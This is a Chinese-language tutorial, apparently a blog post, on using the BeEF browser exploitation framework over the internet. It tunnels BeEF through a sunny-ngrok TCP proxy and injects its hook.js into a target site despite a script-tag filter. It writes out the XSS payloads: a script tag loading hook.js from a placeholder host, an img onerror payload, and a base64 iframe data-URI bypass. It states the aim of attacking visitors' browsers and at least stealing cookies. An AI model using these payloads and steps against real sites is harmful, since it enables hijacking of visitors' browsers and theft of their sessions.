Beef-XSS框架无疑是当今最强大的浏览器攻击框架,网络上也存在很多关于它的教程,但是大部分都是基于内网环境下的教学,这就使得攻击效果大打折扣,另外大部分XSS教程只是实现一个aler(1)便证明达到了效果,而Beef-XSS要保证完整效果就要加载hook.js文件,在存在一定过滤的情况下,这是有一定难度的。于是便有了今天的文章,希望对大家有所帮助。

0×00 实验工具


kali linux v2.0

beef-xss

sunny-ngrok: http://www.ngrok.cc

0×01 开通tcp代理,并下载客户端进行内网穿透

都是老司机注册这里就不说了,直接讲如何开通tcp代理。

点击管理面板左侧栏里的隧道管理—>开通隧道,点击右下角那个免费的点击开通,当然如果你觉得想要稳定的可以选择付费版:

1.png接下来我们要对隧道进行配置,选择tcp协议,隧道名称和端口号自己填,如果端口号已经被占用,点击确定后会有提示:

2.png注意这里远程端口号要和本地端口号保持一致,正常情况下可以不用这么填,但是hook.js在发送请求的时候会在后面自动追加端口号,造成无法成功请求,所以我就干脆设置成一样的了。

下图这个clientid要保存好等下连接的时候要用。

3.png接下来就是下载客户端,进行连接了。在这个地址(http://www.ngrok.cc/download.html)下载相应的客户端版本。

具体命令是:

./sunny clientid 隧道id

5.png

0×02 自定义监听端口,开启beef-xss

在启动beef-xss之前,我么们要修改下配置文件中的端口。配置文件位置:/etc/beef-xss/config.yaml。

用vim打开修改port后面的端口数就好了:

6.png

现在我们直接启动beef-xss就好了,这个就很简单了直接输入beef-xss回车:7.png

接下来我们只要把hook.js脚本想办法加载到目标网站就可以实现对浏览器的攻击了,最起码get个cookie还是不成问题的。

0×03 绕过脚本过滤,实现基于beef的xss攻击

一般来说我们要加载一个js文件只需加入下边一行代码就可以:

<script type="text/javascript" src="http://yoururl.com/hook.js"></script>

但今天准备的网站对<script>的标签进行了过滤,不能实现直接注入:

8.png

QQ截图20190701211000.png在这种情况下想调用个方法还是很简单的,比如alert(1);只需用img标签的onerror就可实现,代码如下:

<img src=x onerror=alert(1); />

9.png

可当我们想要加载的一个js文件时,这样的方法是无法实现的,于是想到了利用iframe的特性,来加密脚本从而实现加载。代码如下:

<iframe src="data:text/html;base64,这里加你的经过base64加密过的脚本代码"></iframe>

10.png

执行成功,如图我们控制台已经成功连接:

11.png至此,就可以进行深入的浏览器攻击了!

*本文原创作者:kaliking